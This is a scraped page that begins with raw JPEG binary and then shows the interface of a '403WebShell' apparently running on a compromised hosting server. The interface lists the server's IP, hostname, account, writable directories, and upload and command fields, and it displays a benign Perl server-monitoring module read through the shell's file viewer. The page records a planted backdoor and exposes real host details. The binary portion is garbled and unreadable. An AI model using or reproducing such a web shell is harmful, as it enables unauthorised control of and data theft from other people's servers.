JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 173.199.190.172  /  Your IP : 216.73.216.167
Web Server : Apache
System : Linux chs1.nescrow.com.ng 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : oysipaoygov ( 1026)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/sonarpush/SonarPush/Providers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/sonarpush/SonarPush/Providers/State.pm
package SonarPush::Providers::State;
use base qw(SonarPush::Providers);
use strict;

use SonarPush::Util;
use POSIX;
use JSON::Tiny qw(from_json to_json);

use constant CPANEL_EMAIL_FILE => '/usr/local/lp/var/sonarpush/emailaccountexport';

=head1 NAME

SonarPush::Providers::State - collects state information

=head1 DESCRIPTION

class of tasks for collecing various information about the
current state of services or process's on a machine.

=cut

sub configurations {
	my $self = shift;

	my $provider = 'configurations';

	my $xml = {
		name       => 'configurations',
		attributes => {
			providedby => $provider,
			datatype   => 'None'
		},
	};

	my $content = do {
		local $/ = undef;
		open my $file, '<', '/etc/resolv.conf';
		<$file>;
	};

	push(@{ $xml->{value} }, {
			name       => 'resolv-conf',
			attributes => {
				providedby => $provider,
				datatype   => "Text",
			},
			value => SonarPush::Util::encode_entities($content),
	});

	return $xml;
}

sub cpanelUserData {
	my ($self) = @_;
	my $provider = 'cpanelUserData';

	my %attrs = (
		textConfig => {
			providedby => $provider,
			datatype   => 'Text',
		},
		numConfig => {
			providedby   => $provider,
			datatype     => 'Numeric',
			incrementing => 'N',
			exponent     => 0,
			unit         => '',
		},
		noConfig => {
			providedby => $provider,
			datatype   => 'None',
		},
	);

	my @subNodes = ();
	my $struct   = {
		name       => $provider,
		attributes => $attrs{noConfig},
		value      => \@subNodes,
	};

	my $userData = $self->extractCpanelUserDetails();

	return unless $userData;

	push(@subNodes, {
			name       => 'count',
			attributes => $attrs{numConfig},
			value      => scalar keys %$userData,
	});

	push(@subNodes, {
			name       => 'list',
			attributes => $attrs{textConfig},
			value      => join(',', sort keys %$userData),
	});

	return $self->cpanelDataWrapper($provider, $struct);
}

sub cpanelEmailData {
	my ($self) = @_;
	my $provider = 'cpanelMailboxData';

	my %attrs = (
		noConfig => {
			providedby => $provider,
			dataType   => 'None',
		},
		numConfig => {
			providedby   => $provider,
			dataType     => 'Numeric',
			incrementing => 'N',
			exponent     => 0,
			unit         => '',
		},
		textConfig => {
			providedby => $provider,
			dataType   => 'Text',
		},
		sizeConfig => {
			providedby   => $provider,
			dataType     => 'Numeric',
			incrementing => 'N',
			exponent     => 0,
			unit         => 'Bytes',
		},
	);

	unless (-e CPANEL_EMAIL_FILE) {
		return;
	}

	open(my $file, '<', CPANEL_EMAIL_FILE);
	my $json = <$file>;
	close($file);

	# prevent "Missing or empty input" error from from_json when CPANEL_EMAIL_FILE
	# exists but is empty.
	return unless ($json);

	my $data = from_json($json);
	my $serverMailboxCount;
	my $serverMailboxSize;
	foreach my $user (keys %$data) {
		foreach my $domainData (@{ $data->{$user} }) {
			$serverMailboxCount += $domainData->{'total_mailboxes'};
			$serverMailboxSize  += $domainData->{'total_mailbox_size'};
		}
	}

	my @nodes;
	push(@nodes, {
			name       => 'count',
			attributes => $attrs{numConfig},
			value      => $serverMailboxCount,
	});

	push(@nodes, {
			name       => 'size',
			attributes => $attrs{sizeConfig},
			value      => $serverMailboxSize,
	});
	push(@nodes, {
			name       => 'mailbox_json_data',
			attributes => $attrs{textConfig},
			value      => $json,
	});
	my $struct = {
		name       => $provider,
		attributes => $attrs{noConfig},
		value      => \@nodes,
	};

	return $self->cpanelDataWrapper($provider, $struct);
}

sub cpanelDomainData {
	my ($self) = @_;
	my $provider = 'cpanelDomainData';

	my %attrs = (
		textConfig => {
			providedby => $provider,
			datatype   => 'Text',
		},
		numConfig => {
			providedby   => $provider,
			datatype     => 'Numeric',
			incrementing => 'N',
			exponent     => 0,
			unit         => '',
		},
		noConfig => {
			providedby => $provider,
			datatype   => 'None',
		},
	);

	my @subNodes = ();
	my $struct   = {
		name       => $provider,
		attributes => $attrs{noConfig},
		value      => \@subNodes,
	};

	my $userData = $self->extractCpanelUserDetails();

	return unless $userData;

	push(@subNodes, {
			name       => 'count',
			attributes => $attrs{numConfig},
			value      => scalar map { @{ $_->{domains} } } values %$userData,
	});

	push(@subNodes, {
			name       => 'list',
			attributes => $attrs{textConfig},
			value      => join(',', sort map { @{ $_->{domains} } } values %$userData),
	});

	return $self->cpanelDataWrapper($provider, $struct);
}

sub diskusage {
	my $self = shift;

	my $DF_BINARY = '/bin/df';
	my @buffers = split(/\n/, `$DF_BINARY --exclude-type=nfs -P| /bin/grep -v shm | /bin/grep -v Filesystem | /bin/grep -v volume_group`);

	my $partitions;
	foreach my $buff (@buffers) {
		if ($buff =~ /^(\S+)\s*(\S+)\s*(\S+)\s*(\S+)\s*(\S+)\s*(\S+)\s*$/) {
			$partitions->{$6}{'BSize'}      = $2;
			$partitions->{$6}{'BUsed'}      = $3;
			$partitions->{$6}{'BAvailable'} = $4;
		}
	}

	my @inodes = split(/\n/, `$DF_BINARY --exclude-type=nfs -iP | /bin/grep -v shm | /bin/grep -v Filesystem | /bin/grep -v volume_group`);
	foreach my $inode (@inodes) {
		if ($inode =~ /^(\S+)\s*(\S+)\s*(\S+)\s*(\S+)\s*(\S+)\s*(\S+)\s*$/) {
			$partitions->{$6}{'Icount'}     = $2;
			$partitions->{$6}{'IUsed'}      = $3;
			$partitions->{$6}{'IAvailable'} = $4;
		}
	}

	my $mapping = {
		blocks => {
			BSize      => 'total',
			BUsed      => 'used',
			BAvailable => 'available'
		},
		inodes => {
			Icount     => 'total',
			IUsed      => 'used',
			IAvailable => 'available',
		}
	};

	my $provider = 'diskusage';
	my $xml      = {
		name       => 'diskusage',
		attributes => {
			providedby => $provider,
			datatype   => 'None'
		},
		value => [],
	};

	foreach my $partname (sort keys %$partitions) {
		push(@{ $xml->{value} }, {
				name       => 'ihavebadchars',
				attributes => {
					realname   => $partname,
					providedby => $provider,
					datatype   => 'None',
				},
				value => [ {
						name       => 'blocks',
						attributes => {
							providedby => $provider,
							datatype   => 'None',
						},
						value => [ map {
								{
									name       => $mapping->{blocks}{$_},
									attributes => {
										providedby   => $provider,
										datatype     => 'Numeric',
										unit         => '1k blocks',
										exponent     => 3,
										incrementing => 'N'
									},
									value => $partitions->{$partname}{$_}
								}
								} qw/BSize BUsed BAvailable/ ],
					},
					{
						name       => 'inodes',
						attributes => {
							providedby => $provider,
							datatype   => 'None',
						},
						value => [ map {
								{
									name       => $mapping->{inodes}{$_},
									attributes => {
										providedby   => $provider,
										datatype     => 'Numeric',
										unit         => 'inodes',
										exponent     => 0,
										incrementing => 'N'
									},
									value => $partitions->{$partname}{$_}
								}
								} qw/Icount IUsed IAvailable/ ],
					} ],
		});
	}
	return $xml;
}

sub loadaverage {
	my $self     = shift;
	my $provider = 'loadaverage';

	my $data;
	open(my $loadavg, '<', '/proc/loadavg') or $self->sonar->printlog("can't open /proc/loadavg for reading!\n", 1);
	while (<$loadavg>) {
		if ($_ =~ /^(\S+)\s+(\S+)\s+(\S+)\s+(\d+)\/(\d+)\s+(\d+)/) {
			$data->{loadaverage} = {
				'one-min'     => $1,
				'five-min'    => $2,
				'fifteen-min' => $3,
			};
			$data->{processes} = {
				running => $4,
				total   => $5,
			};
		}
	}

	my @xml;
	foreach my $field (sort keys %$data) {
		my $struct = {
			name       => $field,
			attributes => {
				providedby => $provider,
				dataType   => 'None',
			},
			value => [ map {
					{
						name       => $_,
						attributes => {
							exponent     => 0,
							providedby   => $provider,
							type         => 'Numeric',
							incrementing => 'N',
							unit         => ''
						},
						value => $data->{$field}{$_}
					}
					} sort keys %{ $data->{$field} } ],
		};
		push(@xml, $struct);
	}
	return @xml;
}

sub lvm {
	my ($self)   = @_;
	my $provider = 'lvm';
	my %attrs    = (
		config => {
			providedby => $provider,
			datatype   => "Text",
		},
		noConfig => {
			providedby => $provider,
			datatype   => "None",
		},
	);
	my $xml = {
		name       => $provider,
		attributes => $attrs{noConfig},
		value      => [],
	};

	my @lvmFields = qw(
		volumegroupaccess  volumegroupstatus  volumegroupnumber  maxlogicalvolumes
		currentlogicalvolumes openlogicalvolumes maxlogicalvolumesize maxphysicalvolumes
		currentphysicalvolumes actualphysicalvolumes volumegroupsize physicalextentsize
		totalphysicalextents allocatedphysicalextents freephysicalextents uuid
	);

	my %propertyNameMap = (
		'LV Name'         => 'lvname',
		'LV Write Access' => 'lvaccess',
		'LV Status'       => 'lvstatus',
		'# open'          => 'numopen',
		'LV Size'         => 'lvsize',
		'Block device'    => 'Block device',
		'LV UUID'         => 'lvuuid',
	);

	if (-x "/sbin/vgdisplay") { #and -r "/etc/lvmtab" )
		my @inputarray = split(/\n/, `vgdisplay -c | grep ':'`);
		foreach my $input (@inputarray) {
			my $VGName;
			my %vgData;

			$input =~ s/^\s+|\s+$//g;
			($VGName, @vgData{@lvmFields}) = split(/:/, $input);

			my $vgNode = { name => $VGName, attributes => $attrs{config}, value => [] };
			@{ $vgNode->{value} } = map { { name => $_, value => $vgData{$_}, attributes => $attrs{config} } } sort keys %vgData;

			if ($VGName =~ /^([\w_-]+)$/) {
				$VGName = $1;
			}
			else {
				next;
			}

			my $vgDisplayRaw = `vgdisplay -v $VGName`;
			my @volumes = split(/\n   \n/, $vgDisplayRaw);

		VOL: for my $volume (@volumes) {
				my @properties = split(/\n/, $volume);
				my $type = shift(@properties);
				next VOL unless $type =~ /Logical/;
				s/^\s*|\s*$//g for @properties;
				my %lvDetails;
			PROP: for my $property (@properties) {
					my ($field, $value) = split(/\s{4,}/, $property);
					next PROP unless $propertyNameMap{$field};
					$lvDetails{$field} = $value;
				}
				my $nodeName = delete $lvDetails{'Block device'};
				$nodeName =~ s/\d+:(\d+)/$1/;
				my $lvNode = { name => "lv-$nodeName", attributes => $attrs{noConfig}, value => [] };
				@{ $lvNode->{value} } = map { { name => $propertyNameMap{$_}, value => $lvDetails{$_}, attributes => $attrs{config} } } sort keys %lvDetails;
				push(@{ $vgNode->{value} }, $lvNode);
			}
			push(@{ $xml->{value} }, $vgNode);
		}
	}

	return $xml;
}

sub lwbackup {
	my $self = shift;

	my $content = do {
		local $/;

		my $input;
		eval {
			open($input, "<", "/usr/local/lp/logs/backup.summary.xml") or die $!;
		};
		if ($@) {
			open($input, "<", "/usr/local/backup/summary.xml");
		}
		<$input>
	};

	my $xml;
	if ($content) {

		# we have a successful open, let's get to work
		my $stats;
		if ($content =~ /<backupDirectory>(.*)<\/backupDirectory>/) {
			$stats->{backupDirectory} = $1;
		}
		if ($content =~ /<backupDevice>(.*)<\/backupDevice>/) {
			$stats->{backupDevice} = $1;
		}
		if ($content =~ /<diskUsageLimit>(.*)<\/diskUsageLimit>/) {
			$stats->{diskUsageLimit} = $1;
		}
		if ($content =~ /<diskUsageLimitType>(.*)<\/diskUsageLimitType>/) {
			$stats->{diskUsageLimitType} = $1;
		}
		if ($content =~ /<allowedVariance>(.*)<\/allowedVariance>/) {
			$stats->{allowedVariance} = $1;
		}
		if ($content =~ /<diskSize>(.*)<\/diskSize>/) {
			$stats->{diskSize} = $1;
		}
		if ($content =~ /<gigsFree>(.*)<\/gigsFree>/) {
			$stats->{gigsFree} = $1;
		}
		if ($content =~ /<percentFree>(.*)<\/percentFree>/) {
			$stats->{percentFree} = $1;
		}
		$stats->{NewestBackup} = 0;
		$stats->{OldestBackup} = 9999999999999;
		$stats->{backupCount}  = 0;

		while ($content =~ /<backup date=\"(\d{1,2})\/(\d{1,2})\/(\d{4})\" time=\"(\d{1,2}):(\d{1,2})\" \/>/g) {

			#create the unix timestamp for this backup
			my $Stamp = mktime(0, $5, $4, $2, ($1 - 1), ($3 - 1900));
			if ($Stamp > $stats->{NewestBackup}) {
				$stats->{NewestBackup} = $Stamp;
			}

			if ($Stamp < $stats->{OldestBackup}) {
				$stats->{OldestBackup} = $Stamp;
			}
			$stats->{backupCount}++;
		}

		$xml = {
			name       => 'lwbackup',
			attributes => {
				providedby => 'lwbackup',
				datatype   => 'None',
			},
			value => [ map { { name => $_, attributes => { providedby => 'lwbackup', datatype => 'Text' }, value => $stats->{$_} } } sort keys %$stats ],
		};
	}

	return $xml;
}

sub memory {
	my ($self)   = @_;
	my $provider = 'memory';
	my %attrs    = (
		config => {
			providedby   => $provider,
			datatype     => "Numeric",
			incrementing => 'N',
			unit         => 'Bytes',
			exponent     => 3,
		},
		noConfig => {
			providedby => $provider,
			datatype   => "None",
		},
	);
	my $xml = {
		name       => $provider,
		attributes => $attrs{noConfig},
		value      => [],
	};
